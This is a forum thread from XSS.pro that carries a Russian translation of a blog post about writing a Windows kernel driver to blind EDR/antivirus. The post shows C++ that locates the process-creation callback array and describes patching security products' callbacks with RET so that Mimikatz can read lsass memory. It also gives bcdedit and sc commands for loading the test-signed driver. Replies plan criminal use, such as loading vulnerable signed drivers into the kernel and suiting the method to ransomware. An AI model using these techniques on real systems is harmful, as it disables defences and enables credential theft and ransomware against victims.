• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Kernel Karnage (Часть 4/8)

Artem N

(L2) cache
Пользователь
Регистрация
28.11.2020
Сообщения
329
Реакции
278
Я начинаю первую неделю своей стажировки в спуктябре, погружаясь в сложную тему, которая пугала меня уже некоторое время: Ядро Windows.

1. KdPrint(“Hello, world!\n”);

Когда я закончил свою предыдущую стажировку, которая была посвящена обходу EDR и AV в пользовательском пространстве, мы шутили что следующей темой будет она же, но в пространстве ядра. На тот момент у меня совсем не было опыта работы с ядром Windows и всё это казалось очень сложным, выше моего уровня знаний. Сейчас, когда я пишу эту статью, должен признаться, что это было не так страшно и сложно, как я думал: C/C++ - это всё ещё C/C++, а ассемблерные инструкции хоть и вызывают головную боль, но они понятны при наличии ресурсов и времени.

В этой статье я изложу некоторые технические концепции и идеи, лежащие в основе моей стажировки и расскажу о шагах по успешному обходу/отключению известных антивирусов.

2. BugCheck?

Чтобы начать кататься на этих американских горках, настоятельно рекомендую ознакомиться с этой статьёй, в которой вкратце рассказано о User space (и Kernel space) и о том, как EDR/AVs взаимодействуют с ними.

1641303952482.png


Вкратце - Windows состоит из двух уровней - пространства пользователя и пространства ядра.

Пространство пользователя содержит Windows Native API: ntdll.dll, подсистему WIN32: kernel32.dll, user32.dll, advapi.dll, все пользовательские процессы и приложения. Когда приложениям нужен доступ к аппаратным устройствам, памяти и т.д. - они используют ntdll.dll для общения с ядром.

Функции, содержащиеся в ntdll.dll, загружают число, называемое "Номером системной службы" в регистр EAX, затем выполняют инструкцию syscall (x64-bit), которая начинает переход в режим ядра. Диспетчер системных служб выполняет поиск в Таблице дескрипторов системных служб (SSDT), используя в качестве индекса номер из регистра EAX. Затем происходит переходит к соответствующей системной службе и по завершении выполняется возврат в режим пользователя.

Kernel space является самым нижним слоем между User space и железом и состоит из ряда различных элементов. Сердцем Kernel space является ntoskrnl.exe или, как мы его называем, ядро. Этот исполняемый файл содержит наиболее важный код ОС, такой как планирование потоков, обработка прерываний и исключений, а также различные примитивы. Оно также содержит различные менеджеры, такие как менеджер ввода/вывода, менеджер памяти. Рядом с самим ядром находятся драйверы, которые представляют собой загружаемые модули. Я буду возиться в основном с ними, поскольку они полностью работают в режиме ядра. Помимо самого ядра и драйверов, в Kernel space также находится Слой аппаратных абстракций (HAL), win32k.sys, который в основном работает с пользовательским интерфейсом (UI), и различные системные и подсистемные процессы (Lsass.exe, Winlogon.exe, Services.exe и т.д.), но они менее важны для EDR/AV.

В отличие от пользовательского пространства (где каждый процесс имеет своё собственное виртуальное адресное пространство) весь код в пространстве ядра имеет одно общее виртуальное адресное пространство. Это означает, что драйвер в режиме ядра может записывать/перезаписывать память, принадлежащую другому драйверу или самому ядру. Когда это произойдёт и приведёт к сбою драйвера, произойдёт сбой всей ОС.

В 2005 году в x64-битной версии Windows XP компания Microsoft представила новую функцию под названием Kernel Patch Protection (KPP), в просторечии известную как PatchGuard. PatchGuard отвечает за защиту целостности ядра Window путем хэширования его критических структур и выполнения сравнений через случайные промежутки времени. Когда PatchGuard обнаруживает изменения, он немедленно выполнит Bugcheck системы (KeBugCheck(0x109);), что приведёт к появлению печально известного Синего экрана смерти (BSOD) с сообщением: "CRITICAL_STRUCTURE_CORRUPTION".

1641305422126.png


3. Битва на два фронта

Цель этой статьи - разработать драйвер ядра, который сможет отключить/обойти/ввести в заблуждение или иным образом помешать работать EDR/AV на целевой системе. Так что же такое драйвер и зачем он нужен?

Как сказано в документации, драйвер - это программное обеспечение, позволяющее операционной системе и устройству взаимодействовать друг с другом. Большинство из нас знакомы с термином "Драйвер видеокарты" - нам часто приходится обновлять его для поддержки новейших игр. Однако не все драйверы привязаны к аппаратному обеспечению, существует отдельный класс драйверов, называемых Программные драйверы.

1641305687302.png


Программные драйверы работают в режиме ядра и используются для доступа к защищённым данным, которые доступны только в режиме ядра. Чтобы понять зачем нам нужен драйвер, мы должны заглянуть в прошлое и рассмотреть как работают продукты EDR/AV.
Сразу оговорюсь: я ни в коем случае не являюсь экспертом и большая часть информации, использованной для написания этой статьи, получена из источников, которые могут быть или не быть достоверными, полными или точными.

Продукты EDR/AV адаптировались и эволюционировали с течением времени с увеличением сложности эксплойтов и атак. Общим способом обнаружения вредоносной активности является перехват функций WIN32 API в User space и передача выполнения на себя. Таким образом когда процесс вызывает функцию WIN32 API, она проходит через EDR/AV, чтобы её можно было проанализировать и либо разрешить, либо не разрешить выполнение. Авторы ВПО обходили эти хуки, напрямую вызывая функции Windows Native API (ntdll.dll), оставляя функции WIN32 API нетронутыми. Естественно, продукты EDR/AV адаптировались и начали хукать и функции Windows Native API. Авторы ВПО использовали несколько методов обхода этих хуков, применяя такие техники, как прямые вызовы системы, анхукинг и другие. Рекомендую ознакомиться со статьёй "A tale of EDR bypass methods" от @ShitSecure.

Когда битва больше не могла вестись в User space (поскольку Windows Native API является самым низким уровнем), она перешла в Kernel space. Вместо того чтобы хукать функции Native API, EDR/AV начали патчить SSDT. Звучит знакомо? Когда выполнение из ntdll.dll переходит к диспетчеру системных служб, поиск в SSDT приведет к адресу, принадлежащему функции EDR/AV, а не оригинальной системной службе. Такая практика рискованна, поскольку она затрагивает всю ОС и если что-то пойдёт не так, это приведет к BSOD.

С появлением PatchGuard компания Microsoft прервала эру патчинга SSDT в x64-битных версиях Windows. Вместо этого ввела новую функцию под названием Kernel Callbacks. Драйвер может зарегистрировать callback для своих нужд. Когда действие будет выполнено, драйвер получит уведомление либо до, либо после выполнения.

EDR/AV активно используют эти callback'и для своих проверок. Хорошим примером может служить PsSetCreateProcessNotifyRoutine():

1. Когда пользовательское приложение хочет породить новый процесс, оно вызывает функцию CreateProcessW() из kernel32.dll, которая затем запускает callback создания нового процесса, сообщая ядру, что новый процесс вот-вот будет создан.
2. Тем временем драйвер EDR/AV подписался на callback PsSetCreateProcessNotifyRoutine() и назначил одну из своих функций (0xFA7F) для него.
3. Ядро зарегистрировало адрес функции драйвера EDR/AV (0xFA7F) в массиве обратного вызова.
4. Когда ядро получает вызов создания процесса CreateProcessW(), оно посылает уведомление всем зарегистрированным драйверам из массива обратных вызовов.
5. Драйвер EDR/AV получает уведомление о создании процесса и выполняет назначенную ему функцию (0xFA7F).
6. Эта функция даёт указание приложению EDR/AV, работающему в User space, выполнить инжект в виртуальное адресное пространство пользовательского приложения, перехватить ntdll.dll для передачи выполнения самому себе.

1641307852468.png


С переходом продуктов EDR/AV в пространство ядра авторам ВПО пришлось последовать их примеру и создавать собственные драйверы чтобы вернуться в равные условия. Задача вредоносного драйвера довольно проста: устранить обратные вызовы к драйверу EDR/AV. Как же этого можно добиться?

1. Злому приложению в пространстве пользователя известно, что мы хотим запустить Mimikatz.exe (хорошо известный инструмент для извлечения из памяти паролей, хэшей, PIN-кодов и т.д.)
2. Злое приложение даёт указание злому драйверу отключить продукт EDR/AV.
3. Злой драйвер сначала найдёт и прочитает массив обратных вызовов, затем исправит все записи принадлежащие драйверам EDR/AV, заменив первую инструкцию в их функции обратного вызова (0xFA7F) на инструкцию возврата RET (0xC3).
4. Теперь Mimikatz.exe может быть запущен и вызовет ReadProcessMemory(), чтобы "активировать" callback.
5. Ядро получает этот callback и посылает уведомление всем зарегистрированным драйверам в массиве обратных вызовов.
6. Драйвер EDR/AV получает уведомление о создании процесса и выполняет назначенную ему функцию (0xFA7F).
7. Функция драйвера EDR/AV (0xFA7F) выполняет инструкцию RET (0xC3).
8. Выполнение ReadProcessMemory() возобновляется, вызывается NtReadVirtualMemory(), которая выполнит системный вызов и перейдёт в режим ядра для чтения памяти процесса lsass.exe.

1641308373389.png


4. Не изобретайте колесо

Вооружившись всеми этими знаниями, я решил применить теорию на практике. Наткнулся на статью Windows Kernel Ps Callback Experiments от @fdiskyou, в которой подробно объясняется, как он написал свой собственный драйвер и пользовательское приложение evilcli для отключения EDR/AV, как объяснялось выше. Для использования проекта вам понадобится Visual Studio 2019 и последние версии Windows SDK и WDK.

Я также установил две виртуальные машины, настроенные для удалённой отладки с помощью WinDbg
- Windows 10 build 19042
- Windows 11 build 21996

Включил следующие опции:
Код:
bcdedit /set TESTSIGNING ON
bcdedit /debug on
bcdedit /dbgsettings serial debugport:2 baudrate:115200
bcdedit /set hypervisorlaunchtype off

Чтобы скомпилировать и собрать проект, мне пришлось внести несколько изменений. Во-первых, цель сборки должна быть Debug - x64. Затем я преобразовал текущий драйвер в примитивный драйвер, изменив файл evil.inf в соответствии с моими требованиями.
Код:
;
; evil.inf
;
 
[Version]
Signature="$WINDOWS NT$"
Class=System
ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318}
Provider=%ManufacturerName%
DriverVer=
CatalogFile=evil.cat
PnpLockDown=1
 
[DestinationDirs]
DefaultDestDir = 12
 
 
[SourceDisksNames]
1 = %DiskName%,,,""
 
[SourceDisksFiles]
 
 
[DefaultInstall.ntamd64]
 
[Standard.NT$ARCH$]
 
 
[Strings]
ManufacturerName="<Your manufacturer name>" ;TODO: Replace with your manufacturer name
ClassName=""
DiskName="evil Source Disk"

Как только драйвер скомпилировался и был подписан тестовым сертификатом, я установил его на свою виртуальную машину Windows 10 с удаленно подключенным WinDbg. Чтобы увидеть отладочные сообщения в WinDbg, я обновил маску до 8: kd> ed Kd_Default_Mask 8.
Код:
sc create evil type= kernel binPath= C:\Users\Cerbersec\Desktop\driver\evil.sys
sc start evil

1641308811685.png


1641308822961.png


Используя приложение evilcli.exe с флагом -l, я могу перечислить все зарегистрированные callback'и из массива обратных вызовов о создании процессов и потоков. Когда я впервые попробовал это сделать, то сразу же получил BSOD с сообщением "Page Fault in Non-Paged Area".

5. Загадка трех байтов

BSOD сообщает, что я пытаюсь получить доступ к non-committed памяти, что является немедленным bugcheck. Причина по которой это произошло связана с версионностью Windows и способом нахождения массива обратных вызовов в памяти.

1641310040091.png


Нахождение массива обратных вызовов в памяти вручную является тривиальной задачей и может быть выполнено с помощью WinDbg или любого другого отладчика ядра. Сначала мы разбираем функцию PsSetCreateProcessNotifyRoutine() и ищем первую инструкцию CALL (0xE8).

1641310095583.png


Далее мы дизассемблируем функцию PspSetCreateProcessNotifyRoutine() пока не найдём инструкцию LEA (0x4C 0x8D 0x2D) (Load Effective Address).

1641310179413.png


Затем проверяем адрес памяти, который LEA помещает в регистр r13. Это массив callback'ов в памяти.

1641310247427.png


Чтобы просмотреть различные драйверы в этом массиве, нам нужно выполнить операцию Логическое И с адресом в массиве и 0xFFFFFFFFFFFFF8.

1641310329711.png


Драйвер работает примерно так же: чтобы найти массив обратных вызовов в памяти, вычисляются смещения инструкций (которые мы искали вручную) относительно адреса функции PsSetCreateProcessNotifyRoutine(), который мы получим с помощью функции MmGetSystemRoutineAddress().
C++:
ULONG64 FindPspCreateProcessNotifyRoutine()
{
    LONG OffsetAddr = 0;
    ULONG64 i = 0;
    ULONG64 pCheckArea = 0;
    UNICODE_STRING unstrFunc;
 
    RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
    //obtain the PsSetCreateProcessNotifyRoutine() function base address
    pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);
    KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));
 
    //loop though the base address + 20 bytes and search for the right OPCODE (instruction)
    //we're looking for 0xE8 OPCODE which is the CALL instruction
    for (i = pCheckArea; i < pCheckArea + 20; i++)
    {
        if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))
        {
            OffsetAddr = 0;
 
            //copy 4 bytes after CALL (0xE8) instruction, the 4 bytes contain the relative offset to the PspSetCreateProcessNotifyRoutine() function address
            memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);
            pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5;
 
            break;
        }
    }
 
    KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));
 
    //loop through the PspSetCreateProcessNotifyRoutine base address + 0xFF bytes and search for the right OPCODES (instructions)
    //we're looking for 0x4C 0x8D 0x2D OPCODES which is the LEA, r13 instruction
    for (i = pCheckArea; i < pCheckArea + 0xff; i++)
    {
        if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex])
        {
            OffsetAddr = 0;
 
            //copy 4 bytes after LEA, r13 (0x4C 0x8D 0x2D) instruction
            memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);
            //return the relative offset to the callback array
            return OffsetAddr + 7 + i;
        }
    }
 
    KdPrint(("[+] Returning from CreateProcessNotifyRoutine \n"));
    return 0;
}

Здесь следует обратить внимание на конструкции OPCODE_*[g_WindowsIndex], которые определяются так:
C++:
UCHAR OPCODE_PSP[]   = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8 };
//process callbacks
UCHAR OPCODE_LEA_R13_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c };
UCHAR OPCODE_LEA_R13_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d };
UCHAR OPCODE_LEA_R13_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d };
// thread callbacks
UCHAR OPCODE_LEA_RCX_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48 };
UCHAR OPCODE_LEA_RCX_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d };
UCHAR OPCODE_LEA_RCX_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d };

g_WindowsIndex - это индекс, основанный на версии Windows (osVersionInfo.dwBuildNumer).

Чтобы разгадать загадку BSOD, я сравнил вывод с ручными расчётами и выяснил, что мой драйвер искал OPCODE 0x00 вместо OPCODE 0xE8 (CALL) для получения адреса функции PspSetCreateProcessNotifyRoutine(). Первый найденный им OPCODE 0x00 расположен со смещением в 3 байта от OPCODE 0xE8, в результате чего функция memcpy() получает неверное смещение.

После корректировки массива OPCODE и функции, отвечающей за вычисление индекса из номера сборки Windows, драйвер заработал как надо.

1641310789033.png


6. Драйвер против антивируса

Чтобы протестировать драйвер, я установил его на виртуальную машину Windows 11 вместе с антивирусом. После исправления процедур обратного вызова AV-драйвера в массиве обратных вызовов файл mimikatz.exe был успешно выполнен.

1641310866859.png


После возврата AV-драйвера в исходное состояние, файл mimikatz.exe был обнаружен и заблокирован при выполнении.

1641310938239.png


7. Заключение

Мы начали эту статью с рассмотрения пространства пользователя и пространства ядра и того, как EDR/AV взаимодействуют с ними. Поскольку нашей целью является разработка драйвера ядра для блокировки EDR/AV, мы обсудили концепцию драйверов и обратных вызовов, а также то, как они используются антивирусными решениями. В качестве практического примера мы использовали evilcli. В результате Mimikatz запустился и остался незамеченным.

---
Оригинал статьи: https://blog.nviso.eu/2021/10/21/kernel-karnage-part-1/
Переведено специально для xss.pro. Спасибо Azrv3l за наводку.

Это цикл статей. Будет обновление этого топика по мере перевода мной оставшихся частей.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Сомнительная затея лезть в кернел мод для малвари. Безусловно, из ядра много возможностей, но есть несколько НО.
Во-первых, чтобы загрузить драйвер нужно будет включать тестовый режим (либо ребутаться и запускаться с возможностью запуска неподписанных драйверов). В свободном доступе я не встречал каких-либо сервисов/ПО, позволяющих подписать драйвер. А покупать подпись такой себе вариант.
Во-вторых, для загрузки (и для включение тестового режима) драйвера нужны права администратора, что не всегда присутствует.

А статья прикольная, раньше тоже с драйверами возился, интересно вспомнить)

P.S включив тестовый режим, нужно будет ребутнуть ПК. И не ясно восстановите ли вы доступ в таком случае или нет) Да и надпись справа снизу будет сигнализировать о тестовом режиме...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Во-первых, чтобы загрузить драйвер нужно будет включать тестовый режим (либо ребутаться и запускаться с возможностью запуска неподписанных драйверов).
Не, ну можно использовать подписанный драйвер с известной и стабильной уязвимостью, и каждый раз на старте системы эксплуатировать ее, тем самым попадая в ядро. Такое себе решение, конечно, но, помниться, какие-то APT-дрочилы вполне себе нормально жили с такой тактикой какое-то время.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не, ну можно использовать подписанный драйвер с известной и стабильной уязвимостью, и каждый раз на старте системы эксплуатировать ее, тем самым попадая в ядро. Такое себе решение, конечно, но, помниться, какие-то APT-дрочилы вполне себе нормально жили с такой тактикой какое-то время.
Не универсальное решение. Имеет место быть, но вот если нет этого драйвера на машине, то в ядро вы не попадете.
Хотя, если есть список уязвимых драйверов (а он есть в паблике), то можно написать некий загрузчик, который будет искать уязвимый драйвер из списка и ломиться в ядро.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Имеет место быть, но вот если нет этого драйвера на машине, то в ядро вы не попадете.
Что помешает мне скачать и установить этот уязвимый легитимный и подписанный драйвер на систему? Разве что авер забанит одну его конкретную версию с уязвимостью.
 
> 3. Битва на два фронта

Сейчас всякая война это война моторов, как физическая так и виксы, ТС может посмотреть на ав вирту каспера, она не криптована можно юзер отладчиком глянуть. В ядро нет смысла лезть, защита всё зарубит.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сомнительная затея лезть в кернел мод для малвари. Безусловно, из ядра много возможностей, но есть несколько НО.
Во-первых, чтобы загрузить драйвер нужно будет включать тестовый режим (либо ребутаться и запускаться с возможностью запуска неподписанных драйверов). В свободном доступе я не встречал каких-либо сервисов/ПО, позволяющих подписать драйвер. А покупать подпись такой себе вариант.
Во-вторых, для загрузки (и для включение тестового режима) драйвера нужны права администратора, что не всегда присутствует.

А статья прикольная, раньше тоже с драйверами возился, интересно вспомнить)

P.S включив тестовый режим, нужно будет ребутнуть ПК. И не ясно восстановите ли вы доступ в таком случае или нет) Да и надпись справа снизу будет сигнализировать о тестовом режиме...
это в первую очередь для апт, тест мод водяную марку можно спрятать, для апт цена подписи мизерна + полно дров дырявых не заюзанных
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что помешает мне скачать и установить этот уязвимый легитимный и подписанный драйвер на систему? Разве что авер забанит одну его конкретную версию с уязвимостью.
Права администратора, если они есть, то конечно не проблема
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Помимо всего прочего люди забывают про читы, которые активно насилуют ядро через подобные дыры в подписанных драйверах и user interaction тут не имеет значения. На традиционной малвари свет клином не сошелся.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну дров Процесс Хацкера еще можно заюзать для некоторых интересных вещей.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сомнительная затея лезть в кернел мод для малвари. Безусловно, из ядра много возможностей, но есть несколько НО.
Зависит для кого , для рансомов в самый раз, а грузить стиллеры - да, через ядро плохо, овчинка выделки не стоит.
по теме - интересно, как удалять авер с машины полностью; эту тему надо копать, мб там тоже стоят фильтры или что на удаления файлов?

дров Процесс Хацкера
его давно уже палит большинство АВ, в т.ч. виндеф.
Как вообще юзают такие дрова? Реверсят, смотрят IOCTL коды и пишут свою прогу для общения с драйвером? А как этому противодействовать? Драйвер проверяет подпись программы или как? ну понятно, что коды не зашифруешь.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну дров Процесс Хацкера еще можно заюзать для некоторых интересных вещей.
Была история кстати с ним не так давно. Мелкософт добавил драйвер в черный список в Windows 11 якобы за наличие ядерных RW примитивов.

Интересно, убрали или нет.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как вообще юзают такие дрова? Реверсят, смотрят IOCTL коды и пишут свою прогу для общения с драйвером? А как этому противодействовать? Драйвер проверяет подпись программы или как? ну понятно, что коды не зашифруешь.
Я может с полгода назад поперек посмотрел презеньацию об этом на какой-то конфе, не смог найти на ютюбе видос. Насколько я помню, там реверсилось юзермодное приложение, которое с дровом общается и оттуда доставался алгоритм шифрования и/или цифровой подписи данных и соответствующие ключи для общения с драйвером. Примером использования этого драйвера вроде был дамп lsass через ядро в обход аверов.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ну понятно, что коды не зашифруешь.
В одном драйвере видел "обфускацию" ioctl-кодов однобайтовым ксором, но это был какой-то third-third-party драйвер, в виндовых драйверах самого майка все довольно прозрачно. По крайней мере я не встречал какой-либо обфускации кодов, но реализовать можно при желании, как примитивную защиту от стат анализа. Плюс в драйверах не так много функций, где используются ioctl-коды для IRP. Отследить их дело нескольких минут. БОльшую сложность представляет скорее реверс валидного пакета, передаваемого в ioctl драйверу, чтобы запрос выполнился корректно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я начинаю первую неделю своей стажировки в спуктябре, погружаясь в сложную тему, которая пугала меня уже некоторое время: Ядро Windows.

1. KdPrint(“Hello, world!\n”);

Когда я закончил свою предыдущую стажировку, которая была посвящена обходу EDR и AV в пользовательском пространстве, мы шутили что следующей темой будет она же, но в пространстве ядра. На тот момент у меня совсем не было опыта работы с ядром Windows и всё это казалось очень сложным, выше моего уровня знаний. Сейчас, когда я пишу эту статью, должен признаться, что это было не так страшно и сложно, как я думал: C/C++ - это всё ещё C/C++, а ассемблерные инструкции хоть и вызывают головную боль, но они понятны при наличии ресурсов и времени.

В этой статье я изложу некоторые технические концепции и идеи, лежащие в основе моей стажировки и расскажу о шагах по успешному обходу/отключению известных антивирусов.

2. BugCheck?

Чтобы начать кататься на этих американских горках, настоятельно рекомендую ознакомиться с этой статьёй, в которой вкратце рассказано о User space (и Kernel space) и о том, как EDR/AVs взаимодействуют с ними.

Посмотреть вложение 30398

Вкратце - Windows состоит из двух уровней - пространства пользователя и пространства ядра.

Пространство пользователя содержит Windows Native API: ntdll.dll, подсистему WIN32: kernel32.dll, user32.dll, advapi.dll, все пользовательские процессы и приложения. Когда приложениям нужен доступ к аппаратным устройствам, памяти и т.д. - они используют ntdll.dll для общения с ядром.

Функции, содержащиеся в ntdll.dll, загружают число, называемое "Номером системной службы" в регистр EAX, затем выполняют инструкцию syscall (x64-bit), которая начинает переход в режим ядра. Диспетчер системных служб выполняет поиск в Таблице дескрипторов системных служб (SSDT), используя в качестве индекса номер из регистра EAX. Затем происходит переходит к соответствующей системной службе и по завершении выполняется возврат в режим пользователя.

Kernel space является самым нижним слоем между User space и железом и состоит из ряда различных элементов. Сердцем Kernel space является ntoskrnl.exe или, как мы его называем, ядро. Этот исполняемый файл содержит наиболее важный код ОС, такой как планирование потоков, обработка прерываний и исключений, а также различные примитивы. Оно также содержит различные менеджеры, такие как менеджер ввода/вывода, менеджер памяти. Рядом с самим ядром находятся драйверы, которые представляют собой загружаемые модули. Я буду возиться в основном с ними, поскольку они полностью работают в режиме ядра. Помимо самого ядра и драйверов, в Kernel space также находится Слой аппаратных абстракций (HAL), win32k.sys, который в основном работает с пользовательским интерфейсом (UI), и различные системные и подсистемные процессы (Lsass.exe, Winlogon.exe, Services.exe и т.д.), но они менее важны для EDR/AV.

В отличие от пользовательского пространства (где каждый процесс имеет своё собственное виртуальное адресное пространство) весь код в пространстве ядра имеет одно общее виртуальное адресное пространство. Это означает, что драйвер в режиме ядра может записывать/перезаписывать память, принадлежащую другому драйверу или самому ядру. Когда это произойдёт и приведёт к сбою драйвера, произойдёт сбой всей ОС.

В 2005 году в x64-битной версии Windows XP компания Microsoft представила новую функцию под названием Kernel Patch Protection (KPP), в просторечии известную как PatchGuard. PatchGuard отвечает за защиту целостности ядра Window путем хэширования его критических структур и выполнения сравнений через случайные промежутки времени. Когда PatchGuard обнаруживает изменения, он немедленно выполнит Bugcheck системы (KeBugCheck(0x109);), что приведёт к появлению печально известного Синего экрана смерти (BSOD) с сообщением: "CRITICAL_STRUCTURE_CORRUPTION".

Посмотреть вложение 30399

3. Битва на два фронта

Цель этой статьи - разработать драйвер ядра, который сможет отключить/обойти/ввести в заблуждение или иным образом помешать работать EDR/AV на целевой системе. Так что же такое драйвер и зачем он нужен?

Как сказано в документации, драйвер - это программное обеспечение, позволяющее операционной системе и устройству взаимодействовать друг с другом. Большинство из нас знакомы с термином "Драйвер видеокарты" - нам часто приходится обновлять его для поддержки новейших игр. Однако не все драйверы привязаны к аппаратному обеспечению, существует отдельный класс драйверов, называемых Программные драйверы.

Посмотреть вложение 30400

Программные драйверы работают в режиме ядра и используются для доступа к защищённым данным, которые доступны только в режиме ядра. Чтобы понять зачем нам нужен драйвер, мы должны заглянуть в прошлое и рассмотреть как работают продукты EDR/AV.


Продукты EDR/AV адаптировались и эволюционировали с течением времени с увеличением сложности эксплойтов и атак. Общим способом обнаружения вредоносной активности является перехват функций WIN32 API в User space и передача выполнения на себя. Таким образом когда процесс вызывает функцию WIN32 API, она проходит через EDR/AV, чтобы её можно было проанализировать и либо разрешить, либо не разрешить выполнение. Авторы ВПО обходили эти хуки, напрямую вызывая функции Windows Native API (ntdll.dll), оставляя функции WIN32 API нетронутыми. Естественно, продукты EDR/AV адаптировались и начали хукать и функции Windows Native API. Авторы ВПО использовали несколько методов обхода этих хуков, применяя такие техники, как прямые вызовы системы, анхукинг и другие. Рекомендую ознакомиться со статьёй "A tale of EDR bypass methods" от @ShitSecure.

Когда битва больше не могла вестись в User space (поскольку Windows Native API является самым низким уровнем), она перешла в Kernel space. Вместо того чтобы хукать функции Native API, EDR/AV начали патчить SSDT. Звучит знакомо? Когда выполнение из ntdll.dll переходит к диспетчеру системных служб, поиск в SSDT приведет к адресу, принадлежащему функции EDR/AV, а не оригинальной системной службе. Такая практика рискованна, поскольку она затрагивает всю ОС и если что-то пойдёт не так, это приведет к BSOD.

С появлением PatchGuard компания Microsoft прервала эру патчинга SSDT в x64-битных версиях Windows. Вместо этого ввела новую функцию под названием Kernel Callbacks. Драйвер может зарегистрировать callback для своих нужд. Когда действие будет выполнено, драйвер получит уведомление либо до, либо после выполнения.

EDR/AV активно используют эти callback'и для своих проверок. Хорошим примером может служить PsSetCreateProcessNotifyRoutine():

1. Когда пользовательское приложение хочет породить новый процесс, оно вызывает функцию CreateProcessW() из kernel32.dll, которая затем запускает callback создания нового процесса, сообщая ядру, что новый процесс вот-вот будет создан.
2. Тем временем драйвер EDR/AV подписался на callback PsSetCreateProcessNotifyRoutine() и назначил одну из своих функций (0xFA7F) для него.
3. Ядро зарегистрировало адрес функции драйвера EDR/AV (0xFA7F) в массиве обратного вызова.
4. Когда ядро получает вызов создания процесса CreateProcessW(), оно посылает уведомление всем зарегистрированным драйверам из массива обратных вызовов.
5. Драйвер EDR/AV получает уведомление о создании процесса и выполняет назначенную ему функцию (0xFA7F).
6. Эта функция даёт указание приложению EDR/AV, работающему в User space, выполнить инжект в виртуальное адресное пространство пользовательского приложения, перехватить ntdll.dll для передачи выполнения самому себе.

Посмотреть вложение 30402

С переходом продуктов EDR/AV в пространство ядра авторам ВПО пришлось последовать их примеру и создавать собственные драйверы чтобы вернуться в равные условия. Задача вредоносного драйвера довольно проста: устранить обратные вызовы к драйверу EDR/AV. Как же этого можно добиться?

1. Злому приложению в пространстве пользователя известно, что мы хотим запустить Mimikatz.exe (хорошо известный инструмент для извлечения из памяти паролей, хэшей, PIN-кодов и т.д.)
2. Злое приложение даёт указание злому драйверу отключить продукт EDR/AV.
3. Злой драйвер сначала найдёт и прочитает массив обратных вызовов, затем исправит все записи принадлежащие драйверам EDR/AV, заменив первую инструкцию в их функции обратного вызова (0xFA7F) на инструкцию возврата RET (0xC3).
4. Теперь Mimikatz.exe может быть запущен и вызовет ReadProcessMemory(), чтобы "активировать" callback.
5. Ядро получает этот callback и посылает уведомление всем зарегистрированным драйверам в массиве обратных вызовов.
6. Драйвер EDR/AV получает уведомление о создании процесса и выполняет назначенную ему функцию (0xFA7F).
7. Функция драйвера EDR/AV (0xFA7F) выполняет инструкцию RET (0xC3).
8. Выполнение ReadProcessMemory() возобновляется, вызывается NtReadVirtualMemory(), которая выполнит системный вызов и перейдёт в режим ядра для чтения памяти процесса lsass.exe.

Посмотреть вложение 30403

4. Не изобретайте колесо

Вооружившись всеми этими знаниями, я решил применить теорию на практике. Наткнулся на статью Windows Kernel Ps Callback Experiments от @fdiskyou, в которой подробно объясняется, как он написал свой собственный драйвер и пользовательское приложение evilcli для отключения EDR/AV, как объяснялось выше. Для использования проекта вам понадобится Visual Studio 2019 и последние версии Windows SDK и WDK.

Я также установил две виртуальные машины, настроенные для удалённой отладки с помощью WinDbg
- Windows 10 build 19042
- Windows 11 build 21996

Включил следующие опции:
Код:
bcdedit /set TESTSIGNING ON
bcdedit /debug on
bcdedit /dbgsettings serial debugport:2 baudrate:115200
bcdedit /set hypervisorlaunchtype off

Чтобы скомпилировать и собрать проект, мне пришлось внести несколько изменений. Во-первых, цель сборки должна быть Debug - x64. Затем я преобразовал текущий драйвер в примитивный драйвер, изменив файл evil.inf в соответствии с моими требованиями.
Код:
;
; evil.inf
;
 
